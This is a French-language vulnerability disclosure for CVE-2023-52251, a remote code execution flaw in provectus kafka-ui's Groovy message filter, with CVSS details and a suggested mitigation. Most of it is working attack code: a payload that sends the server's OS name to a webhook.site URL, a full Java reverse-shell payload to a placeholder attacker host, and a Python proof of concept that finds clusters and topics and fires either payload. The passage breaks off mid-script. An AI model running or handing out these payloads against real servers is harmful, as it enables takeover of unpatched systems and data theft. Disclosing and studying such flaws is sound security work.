
CVE-2023-52251 Il existe une vulnérabilité d'exécution de code à distance provectus/kafka-ui.
Il existe une vulnérabilité d'exécution de code à distance dans provectus/kafka-ui. Aucun correctif n'est disponible au moment de la rédaction, mais le fournisseur a été notifié par nos soins ainsi que par l'équipe de VINCE sans aucune réponse. Le rapport a été envoyé le 27 septembre 2023 à provectus par e-mail et via la sécurité GitHub.
Nous suggérons de commenter l'intégralité de la fonction de filtre groovy / d'ajouter une authentification comme mesure minimale.
| Titre | Valeur |
|---|---|
| Chaîne CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H |
| ID CVE | CVE-2023-52251 |
| Description CVE | provectus kafka-ui 0.4.0-0.7.1 a été découvert comme contenant une vulnérabilité d'exécution de commande à distance (RCE) via le paramètre q à /api/clusters/local/topics/{topic}/messages |
| Score CVSS | 9.x |
| CWE | CWE-94 : Contrôle inapproprié de la génération de code ('Injection de code') |
| Fournisseur | Provectus |
| Produit | kafka-ui |
| Lien | https://github.com/provectus/kafka-ui |
| Versions affectées | 0.4.0-0.7.1 |
| Versions corrigées | Aucune |
| Contributeurs | Thingstad, BobTheShoplifter |
Type de vulnérabilité : Exécution de code à distance (RCE)
Logiciel concerné : Kafka-ui
Version : [0.4.0-0.7.1]
Le filtre de script groovy n'est pas assaini avant son exécution. Cela permet à un attaquant d'exécuter du code arbitraire sur le serveur.
Dans la fonction groovyScriptFilter le « script » n'est pas assaini avant d'être exécuté.
Et il est évalué dans le moteur :
var result = compiledScript.eval(bindings);
Instructions complètes, y compris les détails de configuration spécifiques, pour reproduire la vulnérabilité.
En utilisant le filtre :
new URL("https://webhook.site/xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx/" + System.getProperty("os.name")).text

Cela enverra une requête au webhook avec le nom du système d'exploitation du serveur.

En allant plus loin, nous pouvons utiliser la charge utile suivante pour obtenir un shell inversé :
String host="xxx.xxx.xxx.xx";int port=8080;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
La charge utile est générée facilement sur https://www.revshells.com/.

Et un PoC en python a également été créé :
from time import sleep
import requests
import json
import urllib
import argparse
url = 'http://localhost:8080'
clusters = None
c2 = "xxx.xxx.xxx.xx"
port = "8080"
mode = "check"
def get_clusters():
global clusters
clusterfetch = requests.get(url + '/api/clusters')
clusters = clusterfetch.json()
def get_topics(cluster):
topicfetch = requests.get(
url + f'/api/clusters/{cluster}/topics?showInternal=true&search=&orderBy=NAME&sortOrder=ASC')
topics = topicfetch.json()['topics']
return topics
def get_webhooks():
webhookfetch = requests.post('https://webhook.site/token')
webhook = 'https://webhook.site/' + webhookfetch.json()['uuid']+"/"
print('URL Created: ' + webhook)
token_id = webhookfetch.json()['uuid']
headers = {"api-key": webhookfetch.json()['uuid']}
return webhook, token_id, headers
def Exploit():
try:
get_clusters()
cluster = clusters[0]['name']
topics = get_topics(cluster)
topic = topics[0]['name']
webhook, token_id, headers = get_webhooks()
checkpayload = 'new URL("'+webhook+'").text'
rcepayload = 'String host="' + c2 + \
'";int port='+port + \
';String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'
payload = rcepayload if mode == "rce" else checkpayload
r = requests.get(
url + f'/api/clusters/local/topics/{topic}/messages?q={urllib.parse.quote(payload)}&filterQueryType=GROOVY_SCRIPT&attempt=2&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING', timeout=60)
print(r.text)
r = requests.get('https://webhook.site/token/' + token_id +
'/requests?sorting=newest', headers=headers)